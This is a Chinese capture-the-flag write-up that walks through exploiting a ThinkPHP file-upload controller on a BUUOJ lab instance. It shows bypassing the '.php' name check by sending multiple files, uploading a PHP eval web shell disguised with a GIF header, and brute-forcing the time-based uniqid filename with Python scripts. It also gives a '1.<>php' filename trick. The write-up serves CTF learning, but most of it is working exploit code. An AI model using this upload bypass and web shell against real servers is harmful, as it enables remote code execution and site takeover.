摘要 Tinkphp、文件上传、爆破
#### 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php namespace Home \Controller ;use Think \Controller ;class IndexController extends Controller { public function index ( ) { show_source(__FILE__ ); } public function upload ( ) { $uploadFile = $_FILES['file' ] ; if (strstr(strtolower($uploadFile['name' ]), ".php" ) ) { return false ; } $upload = new \Think\Upload(); $upload->maxSize = 4096 ; $upload->allowExts = array ('jpg' , 'gif' , 'png' , 'jpeg' ); $upload->rootPath = './Public/Uploads/' ; $upload->savePath = '' ; $info = $upload->upload() ; if (!$info) { $this ->error($upload->getError()); return ; }else { $url = __ROOT__.substr($upload->rootPath,1 ).$info['file' ]['savepath' ].$info['file' ]['savename' ] ; echo json_encode(array ("url" =>$url,"success" =>1 )); } } }
下载对应的thinkphp,将源码放入Application/Home/Controller/IndexController
,复现环境。
我们可以看到提供了一个upload方法,我们可以访问/home/index/upload
或 ?a=upload
来请求upload操作
thinkphp 的 Upload 类 upload 方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public function uploadOne ($file ) { $info = $this ->upload(array ($file)); return $info ? $info[0 ] : $info; } public function upload ($files = '' ) { if ('' === $files) { $files = $_FILES; } if (empty ($files)) { $this ->error = '没有上传的文件!' ; return false ; } ........ ........ }
可以看到,当无参调用时,$files将为空串,且传入$_FILES
数组,即多文件上传
通过查阅官方文档 文件上传
当传入file
时,可识别为单文件,传入file1、file2、file3……将识别为多文件上传,上传文件数组
upload的误用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public function upload ( ) { $uploadFile = $_FILES['file' ] ; if (strstr(strtolower($uploadFile['name' ]), ".php" ) ) { return false ; } $upload = new \Think\Upload(); $upload->maxSize = 4096 ; $upload->allowExts = array ('jpg' , 'gif' , 'png' , 'jpeg' ); $upload->rootPath = './Public/Uploads/' ; $upload->savePath = '' ; $info = $upload->upload() ; if (!$info) { $this ->error($upload->getError()); return ; }else { $url = __ROOT__.substr($upload->rootPath,1 ).$info['file' ]['savepath' ].$info['file' ]['savename' ] ; echo json_encode(array ("url" =>$url,"success" =>1 )); } }
基于以上的了解,我们知道这里可以传多文件数组
而$uploadFile
只拿了$_FILES['file']
这一个文件
再者,如果我们不传’file’文件,这玩意甚至拿不到……所以$uploadFile['name']
也拿不到,过滤不了
所以我们传入file[]
或file1
都可以绕过
至于后面的上传类型设置……
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private $config = array ( 'mimes' => array (), 'maxSize' => 0 , 'exts' => array (), 'autoSub' => true , 'subName' => array ('date' , 'Y-m-d' ), 'rootPath' => './Uploads/' , 'savePath' => '' , 'saveName' => array ('uniqid' , '' ), 'saveExt' => '' , 'replace' => false , 'hash' => true , 'callback' => false , 'driver' => '' , 'driverConfig' => array (), );
allowExts
并不存在……
文件名生成:
1 2 3 4 }else { $url = __ROOT__.substr($upload->rootPath,1 ).$info['file' ]['savepath' ].$info['file' ]['savename' ] ; echo json_encode(array ("url" =>$url,"success" =>1 )); }
官方手册指明:
默认的命名规则设置是采用uniqid函数生成一个唯一的字符串序列。
文件名爆破 由于上传多文件读不出文件名,故需要在短时间内上传多文件,爆破中间文件
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
PHP 的 uniqid 函数产生的 id 真的是唯一的么?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 PHP_FUNCTION(uniqid) { ... gettimeofday((struct timeval *) &tv, (struct timezone *) NULL ); sec = (int ) tv.tv_sec; usec = (int ) (tv.tv_usec % 0x100000 ); ... if (more_entropy) { uniqid = strpprintf(0 , "%s%08x%05x%.8F" , prefix, sec, usec, php_combined_lcg() * 10 ); } else { uniqid = strpprintf(0 , "%s%08x%05x" , prefix, sec, usec); } RETURN_STR(uniqid); }
我用的php测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php echo uniqid();echo PHP_EOL;print_r(gettimeofday()); echo PHP_EOL;echo PHP_EOL;$time = gettimeofday(); printf("%08x%05x" ,$time[sec],$time[usec]); sleep(2 ); echo PHP_EOL;$time = gettimeofday(); printf("%08x%05x" ,$time[sec],$time[usec]);
默认生成的13位id,分为前八位
+后五位
。
后五位为毫秒数的16进制,这样我们可以通过两次的文件名爆破中间的文件名,不用爆破五位数(过于离谱)。但还是太大,动辄20万的访问量……
优化–python版的uniqid: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import time, math, randomdef uniqid (prefix='' , more_entropy=False ): """uniqid([prefix=''[, more_entropy=False]]) -> str Gets a prefixed unique identifier based on the current time in microseconds. prefix Can be useful, for instance, if you generate identifiers simultaneously on several hosts that might happen to generate the identifier at the same microsecond. With an empty prefix, the returned string will be 13 characters long. If more_entropy is True, it will be 23 characters. more_entropy If set to True, uniqid() will add additional entropy (using the combined linear congruential generator) at the end of the return value, which increases the likelihood that the result will be unique. Returns the unique identifier, as a string.""" m = time.time() sec = math.floor(m) usec = math.floor(1000000 * (m - sec)) if more_entropy: lcg = random.random() the_uniqid = "%08x%05x%.8F" % (sec, usec, lcg * 10 ) else : the_uniqid = '%8x%05x' % (sec, usec) the_uniqid = prefix + the_uniqid return the_uniqid
利用这个来缩小差距:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requestsfrom Func import uniqidheaders = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0' } url = "http://0b3a62d9-f8a1-4b30-9fb0-7ebe4a879ffa.node4.buuoj.cn:81/?a=upload" shell = "<?php @eval($_POST['ok']) ?>" prefix = "GIF8!" def upload_file (file_url, file_prefix, file_shell, file_value, file_name, file_type ): con = file_prefix + "\n" + file_shell files = { file_value: (file_name, con, file_type), } response = requests.post(url=file_url, files=files) return response.text print (upload_file(url, prefix, shell, "file1" , "1.php" , "image/jpeg" ))print (uniqid())
在多次尝试后(花了我老长时间……
这样差距可以拉到4位左右
爆破脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from __future__ import print_functionimport itertoolsfrom time import sleepimport requestsheaders = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0' } url = "http://0b3a62d9-f8a1-4b30-9fb0-7ebe4a879ffa.node4.buuoj.cn:81/Public/Uploads/2021-09-15/" first_one = "6141708c79d38" after_one = "6141708c7ffff" sec = first_one[0 :8 ] usec_1 = "0x" +first_one[8 :] usec_2 = "0x" +after_one[8 :] f = (int (usec_1, 16 )) e = (int (usec_2, 16 )) for n in range (f, e): that_one = sec + hex (n)[2 :] target = url + that_one + ".php" res = requests.get(url=target) if res.status_code == 200 : print ("[200]==> " +target) break else : print("[" +str (res.status_code)+"] ==> " +target+" ==> " +str (e-f)+"/" +str (n-f+1 )) sleep(0.015 )
后四位设为ffff
终于……爆出来了……这玩意搞我几天了……🙄
直接出……
还有更简单的 1 2 3 files = { 'file' : ('1.<>php' , con, 'image/jpeg' ), }
由于搜索的是.php
,所以……